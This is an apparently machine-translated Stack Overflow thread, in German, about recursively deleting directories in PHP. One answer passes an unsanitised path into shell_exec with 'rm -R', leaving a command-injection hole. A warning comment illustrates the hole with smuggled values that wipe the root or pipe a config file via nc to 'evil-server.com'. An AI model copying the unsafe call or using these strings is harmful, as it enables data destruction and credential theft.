2009-09-10 3 views
26

Ich bin mit PHP, um den Inhalt eines Bildes zu bewegen UnterordnerEine rekursive Verzeichnisfunktion für PHP entfernen?

Gallery/images/

in einer anderen Ordner. Nach dem Umzug muss ich das GalleryName-Verzeichnis und alles andere darin löschen.

Ich weiß, dass rmdir() wird nicht funktionieren, wenn das Verzeichnis leer ist. Ich habe eine Weile damit verbracht, eine rekursive Funktion zu scandir() beginnend von oben und dann unlink() zu erstellen, wenn es eine Datei ist und scandir(), wenn es ein Verzeichnis ist, dann rmdir() jedes leere Verzeichnis, wie ich gehe.

Bis jetzt funktioniert es nicht genau richtig, und ich begann zu denken - ist das nicht eine lächerlich einfache Funktion, die PHP tun sollte? Entfernen eines Verzeichnisses?

Also gibt es etwas, das ich vermisse? Oder gibt es zumindest eine bewährte Funktion, die Menschen für diese Aktion nutzen?

Jede Hilfe wäre willkommen.

PS Ich vertraue euch alle hier mehr als die Kommentare auf der php.net Seite - es gibt Hunderte von Funktionen dort, aber ich bin interessiert zu hören, wenn jemand von euch hier einen über andere empfehlen.

+3

Haben Sie darüber nachgedacht shell_exec() Funktion mit einem 'rm -fr'? Nicht der beste Ansatz, aber wenn Sie jetzt, was Sie tun, funktioniert es gut. – rogeriopvl

Antwort

14

Dies ist die rekursive Funktion, die ich erstellt/geändert habe und die endlich funktioniert. Hoffentlich ist darin nichts zu gefährlich.

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
     if ($file == '.' || $file == '..') continue; 
     if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
      chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
      if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
     }; 
    } 
    return rmdir($dir); 
} 
+0

Diese Funktion ist gefährlich, anstelle von $ item sollte $ file sein! – johndodo

0

Ich habe eine Funktion angepasst, die versteckte Unix-Dateien mit dem Punkt Präfix behandelt und verwendet glob:

public static function deleteDir($path) { 
    if (!is_dir($path)) { 
     throw new InvalidArgumentException("$path is not a directory"); 
    } 
    if (substr($path, strlen($path) - 1, 1) != '/') { 
     $path .= '/'; 
    } 
    $dotfiles = glob($path . '.*', GLOB_MARK); 
    $files = glob($path . '*', GLOB_MARK); 
    $files = array_merge($files, $dotfiles); 
    foreach ($files as $file) { 
     if (basename($file) == '.' || basename($file) == '..') { 
      continue; 
     } else if (is_dir($file)) { 
      self::deleteDir($file); 
     } else { 
      unlink($file); 
     } 
    } 
    rmdir($path); 
} 
83

Was ist mit diesem ein Problem?

foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { 
     $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 
} 
rmdir($dirPath); 
+12

+1 für den kürzesten Code und wahrscheinlich die beste und schnellste Arbeitslösung :) – tftd

+1

Schöne, vergessen Sie nicht, rmdir ($ dirPath) afer die foreach hinzufügen, sonst wird es nur Dateien löschen. – Ant

+0

@Cooluhuru Aufruf von rmdir() hinzugefügt. Vielen Dank! – barbushin

2

Wenn der Server Anwendungs ​​Linux läuft, nur die shell_exec() Funktion verwenden, und den rm -R Befehl liefern, wie folgt aus:

shell_exec("rm ".$dir_path." -R"); 

Erläuterung:

Die Funktion Der Befehl wird direkt in Linux ausgeführt. Es ist genau das gleiche, was den Befehl in Linux Terminal ausführen.

Der Befehl rm eine Datei oder ein Verzeichnis in $dir_path und die Möglichkeit bestanden entfernen -R sagt das System es rekursiv auszuführen.

+1

Je nachdem, woher '$ dir_path' kommt, könnten Sie ein sehr großes Sicherheitsproblem einführen. Angenommen, ich setze '$ dir_path =" -F --no-preserve-root/";' oder vielleicht nur '$ dir_path ="; cat config/config.php | nc evil-server.com 80; "; Nun, die Möglichkeiten sind endlos. – amenthes

0

ich eine enhaced Methode bevorzugen aus der PHP-Hilfe abgeleitet http://php.net/manual/en/function.rmdir.php#115598 Seiten

// check accidential empty, root or relative pathes 
if (!empty($path) && ...) 
{ 
    if (PHP_OS === 'Windows') 
    { 
    exec('rd /s /q "'.$path.'"'); 
    } 
    else 
    { 
     exec('rm -rf "'.$path.'"'); 
    } 
} 
else 
{ 
    error_log('path not valid:$path'.var_export($path, true)); 
} 

Gründe für meine Entscheidung:

  • weniger Code
  • Geschwindigkeit
  • halten Sie es einfach